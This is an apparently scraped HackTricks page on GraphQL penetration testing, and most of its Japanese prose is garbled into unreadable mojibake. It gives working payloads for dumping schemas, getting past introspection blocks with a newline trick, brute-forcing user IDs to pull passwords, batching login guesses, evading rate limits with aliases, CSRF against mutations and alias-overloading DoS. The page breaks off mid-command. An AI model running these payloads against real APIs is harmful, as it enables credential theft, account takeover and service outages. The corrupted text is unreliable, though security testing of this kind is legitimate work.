GraphQL
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
æŠèŠ
GraphQL 㯠泚ç®ãããŠããããŸã å¹ççãªä»£æ¿ ãšããŠããã¯ãšã³ãããããŒã¿ãåãåãããããã®ç°¡çŽ åãããã¢ãããŒããæäŸããŸããè€æ°ã®ãšã³ããã€ã³ãã«ãŸããã倿°ã®ãªã¯ãšã¹ããå¿ èŠã«ãªãããšãå€ã REST ãšå¯Ÿç §çã«ãGraphQL ã¯å¿ èŠãªæ å ±ã åäžã®ãªã¯ãšã¹ã ã§ååŸããããšãå¯èœã«ããŸãããã®ç°¡çŽ åã¯ããŒã¿ååŸåŠçã®è€éãã軜æžããéçºè ã«ãšã£ãŠæç ã§ãã
GraphQL and Security
æ°ããæè¡ïŒGraphQL ãå«ãïŒã®ç»å Žã«äŒŽããæ°ããªã»ãã¥ãªãã£è匱æ§ãçºçããŸããéèŠãªç¹ã¯ãGraphQL ã¯ããã©ã«ãã§èªèšŒæ©æ§ãå«ãŸãªããšããããšã§ããèªèšŒãªã©ã®ã»ãã¥ãªãã£å¯Ÿçãå®è£ ããã®ã¯éçºè ã®è²¬ä»»ã§ããé©åãªèªèšŒããªãå ŽåãGraphQL ãšã³ããã€ã³ãã¯æªèªèšŒãŠãŒã¶ãŒã«å¯ŸããŠæ©å¯æ å ±ãå ¬éããå¯èœæ§ããããé倧ãªã»ãã¥ãªãã£ãªã¹ã¯ãšãªããŸãã
ãã£ã¬ã¯ããªãã«ãŒããã©ãŒã¹æ»æãšGraphQL
å ¬éãããŠãã GraphQL ã€ã³ã¹ã¿ã³ã¹ãç¹å®ããã«ã¯ããã£ã¬ã¯ããªãã«ãŒããã©ãŒã¹ã§ç¹å®ã®ãã¹ãå«ããããšãæšå¥šãããŸãããããã®ãã¹ã¯:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
éæŸããã GraphQL ã€ã³ã¹ã¿ã³ã¹ãç¹å®ãããšããµããŒããããŠããã¯ãšãªã調æ»ã§ããŸããããã¯ãšã³ããã€ã³ããéããŠã¢ã¯ã»ã¹å¯èœãªããŒã¿ãçè§£ããããã§éèŠã§ããGraphQL ã® ã€ã³ããã¹ãã¯ã·ã§ã³ ã·ã¹ãã ã¯ãã¹ããŒãããµããŒãããã¯ãšãªã詳现ã«ç€ºãããšã§ãããæ¯æŽããŸãã詳现㯠GraphQL ã®ã€ã³ããã¹ãã¯ã·ã§ã³ã«é¢ããããã¥ã¡ã³ããåç §ããŠãã ãã: GraphQL: A query language for APIs.
Fingerprint
ããŒã« graphw00f ã¯ãµãŒãã§äœ¿çšãããŠãã GraphQL ãšã³ãžã³ãæ€åºã§ããã»ãã¥ãªãã£ç£æ»äººåãã«æçšãªæ å ±ãåºåããŸãã
ãŠãããŒãµã«ã¯ãšãª
URL ã GraphQL ãµãŒãã¹ãã©ããã確èªããã«ã¯ããŠãããŒãµã«ã¯ãšãªãquery{__typename} ãéä¿¡ã§ããŸããã¬ã¹ãã³ã¹ã« {"data": {"__typename": "Query"}} ãå«ãŸããŠããã°ããã® URL ã GraphQL ãšã³ããã€ã³ãããã¹ãããŠããããšã確èªã§ããŸãããã®ææ³ã¯ GraphQL ã® __typename ãã£ãŒã«ãã«äŸåããŠãããã¯ãšãªããããªããžã§ã¯ãã®åãæããã«ããŸãã
query{__typename}
åºæ¬çãªåæ
Graphql ã¯éåžž GETãPOST (x-www-form-urlencoded) ããã³ POST(json) ããµããŒãããŸããã»ãã¥ãªãã£äžãCSRF æ»æãé²ãããã« json ã®ã¿ãèš±å¯ããããšãæšå¥šãããŸãã
ã€ã³ããã¹ãã¯ã·ã§ã³
ã¹ããŒãæ
å ±ãååŸããããã«ã€ã³ããã¹ãã¯ã·ã§ã³ã䜿çšããå Žåã__schema ãã£ãŒã«ããã¯ãšãªããŠãã ããããã®ãã£ãŒã«ãã¯ãã¹ãŠã®ã¯ãšãªã®ã«ãŒãåã§å©çšå¯èœã§ãã
query={__schema{types{name,fields{name}}}}
ãã®ã¯ãšãªã䜿ããšã䜿çšãããŠãããã¹ãŠã®åã®ååãèŠã€ããããŸã:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
ãã®ã¯ãšãªã䜿ããšããã¹ãŠã®åããã®ãã£ãŒã«ããããã³åŒæ°ïŒããã³åŒæ°ã®åïŒãæœåºã§ããŸããããã¯ããŒã¿ããŒã¹ã«å¯ŸããŠã©ã®ããã«ã¯ãšãªãæããããç¥ãã®ã«éåžžã«åœ¹ç«ã¡ãŸãã
.png)
ãšã©ãŒ
ãšã©ãŒã衚瀺ããããã©ãããç¥ãããšã¯è峿·±ãã§ãããªããªãããããã¯æçšãªæ å ±ã«å¯äžããããã§ãã
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
Introspection ã䜿ã£ãŠããŒã¿ããŒã¹ã¹ããŒããåæãã
Tip
introspection ãæå¹ã«ãªã£ãŠãããäžèšã®ã¯ãšãªãå®è¡ãããªãå Žåã¯ãã¯ãšãªæ§é ãã
onOperationãonFragmentãonFieldãã£ã¬ã¯ãã£ããåé€ããŠã¿ãŠãã ããã
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
ã€ã³ã©ã€ã³ introspection ã¯ãšãª:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
æåŸã®ã³ãŒãè¡ã¯graphqlã¯ãšãªã§ãgraphqlãããã¹ãŠã®ã¡ã¿æ å ±ïŒãªããžã§ã¯ãåããã©ã¡ãŒã¿ãåâŠïŒããã³ãããŸãã
.png)
introspectionãæå¹ãªå ŽåãGraphQL Voyager ã䜿çšããŠGUIã§å šãŠã®ãªãã·ã§ã³ã衚瀺ã§ããŸãã
ã¯ãšãªå®è¡
ããŒã¿ããŒã¹ã«ã©ã®ãããªæ å ±ãä¿åãããŠããããããã£ãã®ã§ãããã€ãã®å€ãæœåºããŠã¿ãŸãããã
In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the âqueryTypeâ is called âQueryâ and that one of the fields of the âQueryâ object is âflagsâ, which is also a type of object. Therefore you can query the flag object.

Note that the type of the query âflagsâ is âFlagsâ, and this object is defined as below:
.png)
You can see that the âFlagsâ objects are composed by name and .value Then you can get all the names and values of the flags with the query:
query={flags{name, value}}
次ã®äŸã®ããã«ãobject to query ã primitive typeïŒäŸ: stringïŒã®å Žåã¯æ³šæããŠãã ãã
.png)
次ã®ããã«ã¯ãšãªã§ããŸã:
query = { hiddenFlags }
å¥ã®äŸã§ã¯ãâQueryâ åãªããžã§ã¯ãå
ã« 2 ã€ã®ãªããžã§ã¯ã âuserâ ãš âusersâ ããããŸããã
ãããã®ãªããžã§ã¯ããæ€çŽ¢ã«åŒæ°ãå¿
èŠãšããªãå Žåãæ¬²ããããŒã¿ããã èŠæ±ããã ãã§ãããããå
šæ
å ±ãååŸã§ããå¯èœæ§ããããŸãã ãã®ã€ã³ã¿ãŒãããäžã®äŸã§ã¯ãä¿åããããŠãŒã¶ãŒåãšãã¹ã¯ãŒããæœåºã§ããŸã:
.png)
ãããããã®äŸã§ã¯ããããããšãããšæ¬¡ã® ãšã©ãŒ ã«ãªããŸã:
.png)
ã©ããã âuidâïŒå㯠IntïŒãšããåŒæ°ã§æ€çŽ¢ãããããã§ãã
ãããã«ãããBasic Enumeration ã»ã¯ã·ã§ã³ã§ãã§ã«ç€ºãããéããå¿
èŠãªæ
å ±ããã¹ãŠè¡šç€ºããã¯ãšãªããããŸãã: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
ãã®ã¯ãšãªãå®è¡ãããšãã®ç»åãèŠããšãâuserâ ã Int åã® arg âuidâ ãæã£ãŠããããšãããããŸãã
ããã§ã軜ã uid ãã«ãŒããã©ãŒã¹ãè¡ã£ããšãããuid=1 ã§ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããååŸã§ããŸãã:query={user(uid:1){user,password}}
.png)
ååšããªããã£ãŒã«ããèŠæ±ãããš (query={user(uid:1){noExists}}) 次ã®ãšã©ãŒã«ãªããããâuserâ ãš âpasswordâ ã®ãã©ã¡ãŒã¿ãèŠæ±ã§ããããšã確èªã§ããŸãã:
.png)
åæãã§ãŒãºã®éã«ãâdbuserâ ãªããžã§ã¯ãããã£ãŒã«ããšã㊠âuserâ ãš âpasswordâ ãæã£ãŠããããšãçºèŠããŸããã
Query string dump trick (thanks to @BinaryShadow_)
If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (泚: ãã®äŸã¯ãã¥ãŒããªã¢ã«ã®äŸãšã¯é¢ä¿ãããŸãããããã§ã¯ãString åã®ãã£ãŒã«ã âdescriptionâ ã§ âtheusersâ ãæ€çŽ¢ã§ãããšä»®å®ããŸãã)
æ€çŽ¢
ãã®èšå®ã§ã¯ãdatabase 㯠persons ãš movies ãå«ã¿ãŸããPersons 㯠email ãš name ã§èå¥ãããmovies 㯠name ãš rating ã§èå¥ãããŸããPersons ã¯äºãã«å人é¢ä¿ã«ãªããæ ç»ãæã€ããšããããããŒã¿ããŒã¹å ã®é¢ä¿æ§ã瀺ããŸãã
name ã§ persons ãæ€çŽ¢ããŠã¡ãŒã«ã¢ãã¬ã¹ãååŸã§ããŸã:
{
searchPerson(name: "John Doe") {
email
}
}
åå****ã§äººç©ãæ€çŽ¢ããŠããã®è³Œèªäžã®****æ ç»ãååŸã§ããŸã:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
person ã® subscribedMovies ã® name ãååŸããããã«ç€ºãããŠããç¹ã«æ³šæããŠãã ããã
åæã«è€æ°ã®ãªããžã§ã¯ããæ€çŽ¢ããããšãã§ããŸãããã®å Žåã2æ¬ã®æ ç»ãæ€çŽ¢ããŸãïŒ
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
ãããã¯ããšã€ãªã¢ã¹ã䜿çšããè€æ°ã®ç°ãªããªããžã§ã¯ãéã®é¢ä¿:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
ãã¥ãŒããŒã·ã§ã³
ãã¥ãŒããŒã·ã§ã³ã¯ãµãŒããŒåŽã§ã®å€æŽãè¡ãããã«äœ¿çšãããŸãã
introspectionã§ã¯ã宣èšããããã¥ãŒããŒã·ã§ã³ã確èªã§ããŸããäžã®ç»åã§ã¯ âMutationTypeâ ã âMutationâ ãšåŒã°ããŠãããâMutationâ ãªããžã§ã¯ãã«ã¯ïŒãã®å ŽåïŒâaddPersonâ ã®ãããªãã¥ãŒããŒã·ã§ã³ã®ååãå«ãŸããŠããŸãïŒ
.png)
ãã®æ§æã§ã¯ãdatabase ã« persons ãš movies ãå«ãŸããŸããpersons 㯠email ãš name ã§èå¥ãããmovies 㯠name ãš rating ã§èå¥ãããŸããpersons ã¯äºãã«åéã«ãªãããŸã movies ãæã€ããšãã§ããããŒã¿ããŒã¹å ã®é¢ä¿ã衚ããŸãã
create new movies ãããŒã¿ããŒã¹å
ã«äœæãããã¥ãŒããŒã·ã§ã³ã¯ã次ã®ããã«ãªããŸãïŒãã®äŸã§ã¯ãã¥ãŒããŒã·ã§ã³ã¯ addMovie ãšåŒã°ããŸãïŒïŒ
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
ã¯ãšãªå ã§å€ãšããŒã¿åã®äž¡æ¹ã瀺ãããŠããç¹ã«æ³šæããŠãã ããã
ããã«ãããŒã¿ããŒã¹ã¯ addPerson ãšããååã® mutation æäœããµããŒãããŠãããæ¢åã® friends ããã³ movies ãšé¢é£ä»ãããã persons ãäœæã§ããŸããæ°ãã«äœæãã人ç©ã«ãããããªã³ã¯ããåã«ã該åœã® friends ãš movies ãããŒã¿ããŒã¹å
ã«æ¢ã«ååšããŠããå¿
èŠãããç¹ã¯éèŠã§ãã
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
ãã£ã¬ã¯ãã£ãã®ãªãŒããŒããŒã
one of the vulns described in this report ã§èª¬æãããŠããããã«ããã£ã¬ã¯ãã£ãã®ãªãŒããŒããŒãã¯ãã£ã¬ã¯ãã£ããäœçŸäžåãåŒã³åºããŠãµãŒããŒã«åŠçãç¡é§é£ããããæçµçã« DoS ãåŒãèµ·ããããšãæå³ããŸãã
Batching brute-force in 1 API request
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API ãä»ããèªèšŒã§ãç°ãªãè³æ Œæ
å ±ãæã€å€ãã®ã¯ãšãªãåæã«éä¿¡ããŠæ€èšŒããæ¹æ³ã§ããããã¯å€å
žç㪠brute force æ»æã§ãããGraphQL ã® batching æ©èœã«ããã1ã€ã® HTTP ãªã¯ãšã¹ãã§è€æ°ã® login/password ãã¢ãéä¿¡ã§ããããã«ãªããŸããããã®ææ³ã¯å€éšã®ã¬ãŒãç£èŠã¢ããªã±ãŒã·ã§ã³ãéšããŠããã¹ãŠåé¡ãªããšèŠãªããããã¹ã¯ãŒããæšæž¬ããããšãã brute-forcing bot ãååšããªããã®ããã«èŠããããŸãã
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously itâs possible to send thousands in a single request in the same way:
.png)
As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.
 (1).png)
GraphQL Without Introspection
More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.
Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.
A nice wordlist to discover GraphQL entities can be found here.
Bypassing GraphQL introspection defences
API ã® introspection ã¯ãšãªã«å¯Ÿããå¶éãåé¿ããã«ã¯ã__schema ããŒã¯ãŒãã®åŸã«ç¹æ®æåãæ¿å
¥ããã®ã广çã§ãããã®ææ³ã¯ã__schema ããŒã¯ãŒãã«çç®ã㊠introspection ããããã¯ããããšããæ£èŠè¡šçŸãã¿ãŒã³ã§ããããèŠèœãšããçªããŸããGraphQL ãç¡èŠãããæ£èŠè¡šçŸãèæ
®ããŠããªãå¯èœæ§ã®ãã ã¹ããŒã¹ãæ¹è¡ãã«ã³ã ãšãã£ãæåã远å ããããšã§ãå¶éãåé¿ã§ããŸããäŸãã°ã__schema ã®åŸã«æ¹è¡ãå
¥ãã introspection ã¯ãšãªã¯ãã®ãããªé²åŸ¡ããã€ãã¹ããå ŽåããããŸãïŒ
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.
WebSockets ã詊ã
As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
å ¬éãããŠãã GraphQL æ§é ã®çºèŠ
introspection ãç¡å¹ãªå ŽåãJavaScript ã©ã€ãã©ãªã«ããããªããŒãæžã¿ã®ã¯ãšãªããŠã§ããµã€ãã®ãœãŒã¹ã³ãŒããã調ã¹ãã®ã¯æçšãªææ³ã§ãããããã®ã¯ãšãªã¯éçºè
ããŒã«ã® Sources ã¿ãã§èŠã€ããããAPI ã®ã¹ããŒãã«é¢ããæŽå¯ãäžããæœåšçã« é²åºããŠããæ©å¯æ§ã®é«ãã¯ãšãª ãæããã«ããŸããéçºè
ããŒã«å
ã§æ€çŽ¢ããããã®ã³ãã³ãã¯æ¬¡ã®ãšããã§ã:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
ã€ã³ããã¹ãã¯ã·ã§ã³ããããã¯ãããŠããå ŽåãInQL v6.1+ ã¯ãšã©ãŒãã£ãŒãããã¯ã ãããå°éå¯èœãªã¹ããŒããåæ§ç¯ã§ããŸããæ°ãã schema bruteforcer ã¯ãèšå®å¯èœãª wordlist ããåè£ãšãªããã£ãŒã«ãïŒåŒæ°åããããåããŠãHTTP ãã£ã¿ãŒãæžããããã«è€æ°ãã£ãŒã«ãã®æäœã§éä¿¡ããŸãã圹ç«ã€ãšã©ãŒãã¿ãŒã³ã¯èªåçã«åéãããŸã:
Field 'bugs' not found on type 'inql'confirms the existence of the parent type while discarding invalid field names.Argument 'contribution' is requiredshows that an argument is mandatory and exposes its spelling.- Suggestion hints such as
Did you mean 'openPR'?are fed back into the queue as validated candidates. - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like
[Episode!].
bruteforcer ã¯æ°ãããã£ãŒã«ããè¿ãããããåã«å¯ŸããŠååž°ãç¶ãããããæ±çšç㪠GraphQL åãšã¢ããªåºæã®æšæž¬ãæ··ãã wordlist ãçšããã°ãæçµçã«ã€ã³ããã¹ãã¯ã·ã§ã³ãªãã§ã¹ããŒãã®å€§éšåããããã³ã°ã§ããŸããå®è¡æéã¯äž»ã«ã¬ãŒãå¶éãšåè£ã®éã«å·Šå³ããããããInQL ã®èšå®ïŒwordlistãbatch sizeãthrottlingãretriesïŒã®åŸ®èª¿æŽã¯ãããã¹ãã«ã¹ãªäœæ¥ã§ã¯éèŠã§ãã
åãªãªãŒã¹ã§ãInQL 㯠GraphQL engine fingerprinter ãæèŒããŸããïŒgraphw00f ã®ãããªããŒã«ããã·ã°ããã£ãåçšïŒããã®ã¢ãžã¥ãŒã«ã¯æå³çã«ç¡å¹ãªãã£ã¬ã¯ãã£ã/ã¯ãšãªãéä¿¡ããæ£ç¢ºãªãšã©ãŒããã¹ããšç
§åããŠããã¯ãšã³ããåé¡ããŸããäŸãã°ïŒ
query @deprecated {
__typename
}
- Apollo ã¯
Directive "@deprecated" may not be used on QUERY.ãšè¿ããŸã - GraphQL Ruby ã¯
'@deprecated' can't be applied to queriesãšå¿çããŸã
Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Finally, èªå倿°çæ 㯠Burp Repeater/Intruder ã«ããããããéã®å žåçãªé»å®³èŠå ãé€å»ããŸããæäœã variables JSON ãèŠæ±ããå ŽåãInQL ã¯åŠ¥åœãªããã©ã«ããæ³šå ¥ããŠããªã¯ãšã¹ããæåã®éä¿¡ã§ã¹ããŒãæ€èšŒãééããããã«ããŸãïŒ
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument.
GraphQL ã® CSRF
CSRF ãäœãåãããªãå Žåã¯æ¬¡ã®ããŒãžãåç §ããŠãã ãã:
CSRF (Cross Site Request Forgery)
ããã§ã¯ãè€æ°ã® GraphQL ãšã³ããã€ã³ãã CSRF tokens ãªãã§æ§æãããŠãã ã®ãèŠã€ããããšãã§ããŸãã
GraphQL ãªã¯ãšã¹ãã¯éåžžãContent-Type ã application/json ã«ã㊠POST ãªã¯ãšã¹ãã§éä¿¡ãããããšã«æ³šæããŠãã ããã
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
ããããã»ãšãã©ã® GraphQL ãšã³ããã€ã³ã㯠form-urlencoded POST requests: ã«ã察å¿ããŠããŸãã
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Therefore, as CSRF requests like the previous ones are sent ããªãã©ã€ããªã¯ãšã¹ããªãã§, itâs possible to æäœ å€æŽ in the GraphQL abusing a CSRF.
However, note that the new default cookie value of the samesite flag of Chrome is Lax. This means that the cookie will only be sent from a third party web in GET requests.
Note that itâs usually possible to send the query request also as a GET request and the CSRF token might not being validated in a GET request.
Also, abusing a XS-Search attack might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user.
For more information check the original post here.
Cross-site WebSocket hijacking in GraphQL
Similar to CRSF vulnerabilities abusing graphQL itâs also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.
For more information check:
GraphQL ã«ãããèªå¯
ãšã³ããã€ã³ãã«å®çŸ©ãããå€ãã®GraphQL颿°ã¯ããªã¯ãšã¹ã¿ã®èªèšŒã®ã¿ã確èªããèªå¯ã確èªããŠããªãå¯èœæ§ããããŸãã
ã¯ãšãªã®å ¥å倿°ã倿Žãããšãæ©å¯ã¢ã«ãŠã³ãæ å ±ã leakedã
Mutation ã«ãããä»ã®ã¢ã«ãŠã³ãããŒã¿ã倿ŽããããšããŠã¢ã«ãŠã³ãä¹ã£åãã«ã€ãªããå ŽåãããããŸãã
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
Bypass authorization in GraphQL
Chaining queries ãé£çµããããšã§ã匱ãèªèšŒã·ã¹ãã ããã€ãã¹ã§ããŸãã
äžã®äŸã§ã¯ãoperationã âforgotPasswordâ ã§ãããã«é¢é£ãã forgotPassword ã¯ãšãªã®ã¿ãå®è¡ããã¯ãã§ããããšãããããŸããããã¯æ«å°Ÿã«å¥ã®ã¯ãšãªã远å ããããšã§ãã€ãã¹ã§ããŸããããã§ã¯ âregisterâ ãšãæ°ãããŠãŒã¶ãšããŠç»é²ããããã® user 倿°ã远å ããŠããŸãã
Bypassing Rate Limits Using Aliases in GraphQL
GraphQLã§ã¯ãaliases 㯠API ãªã¯ãšã¹ãæã« ããããã£åãæç€ºçã«æå®ããããš ãå¯èœã«ãã匷åãªæ©èœã§ãããã®æ©èœã¯ã1ã€ã®ãªã¯ãšã¹ãå ã§åãã¿ã€ãã®ãªããžã§ã¯ãã è€æ°ååŸãã å Žåã«ç¹ã«æçšã§ããaliases ã¯ãGraphQLãªããžã§ã¯ããåãååã®ããããã£ãè€æ°æãŠãªããšããå¶çŽãåé¿ããããã«äœ¿ããŸãã
GraphQL aliases ã®è©³çްãªçè§£ã«ã¯ã次ã®ãªãœãŒã¹ãæšå¥šããŸã: Aliases.
aliases ã®äž»ç®çã¯å€ãã®APIåŒã³åºãã®å¿ èŠæ§ãæžããããšã§ãããæå³ããªããŠãŒã¹ã±ãŒã¹ãšã㊠aliases ãå©çšã㊠GraphQL ãšã³ããã€ã³ãã«å¯Ÿãã brute force attacks ãå®è¡ã§ããããšã確èªãããŠããŸããããã¯äžéšã®ãšã³ããã€ã³ãã brute force attacks ãé²ãããã« number of HTTP requests ãå¶éãã rate limiters ã«ãã£ãŠä¿è·ãããŠããããã§ãããããããããã® rate limiters ã¯åãªã¯ãšã¹ãå ã® operations ã®æ°ãèæ ®ããŠããªãå ŽåããããŸããaliases ã«ãã1ã€ã® HTTP request ã«è€æ°ã® queries ãå«ããããããããããã®ã¬ãŒãå¶éãåé¿ã§ããå¯èœæ§ããããŸãã
以äžã®äŸã¯ãaliased queries ã䜿ã£ãŠ store discount codes ã®æå¹æ§ãæ€èšŒããæ¹æ³ã瀺ããŠããŸãããã®ææ³ã¯è€æ°ã®ã¯ãšãªã1ã€ã® HTTP request ã«ãŸãšãããã rate limiting ãåé¿ã§ããåæã«å€æ°ã®å²åŒã³ãŒããæ€èšŒã§ããå¯èœæ§ããããŸãã
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
GraphQLã«ãããDoS
Alias Overloading
Alias Overloading ã¯ãæ»æè
ãåããã£ãŒã«ãã«å¯ŸããŠå€æ°ã®ãšã€ãªã¢ã¹ã䜿ã£ãŠã¯ãšãªãéè² è·ã«ãã GraphQL ã®è匱æ§ã§ãããã¯ãšã³ãã®resolver ããã®ãã£ãŒã«ããç¹°ãè¿ãå®è¡ãããŸããããã«ãããµãŒããŒè³æºãå§è¿«ãããDenial of Service (DoS) ãåŒãèµ·ããå¯èœæ§ããããŸããäŸãã°ã以äžã®ã¯ãšãªã§ã¯ãåããã£ãŒã«ã (expensiveField) ããšã€ãªã¢ã¹ã䜿ã£ãŠ1,000åèŠæ±ãããããã¯ãšã³ããããã1,000åèšç®ããããšã匷ããããCPUãã¡ã¢ãªãæ¯æžãããå¯èœæ§ããããŸã:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
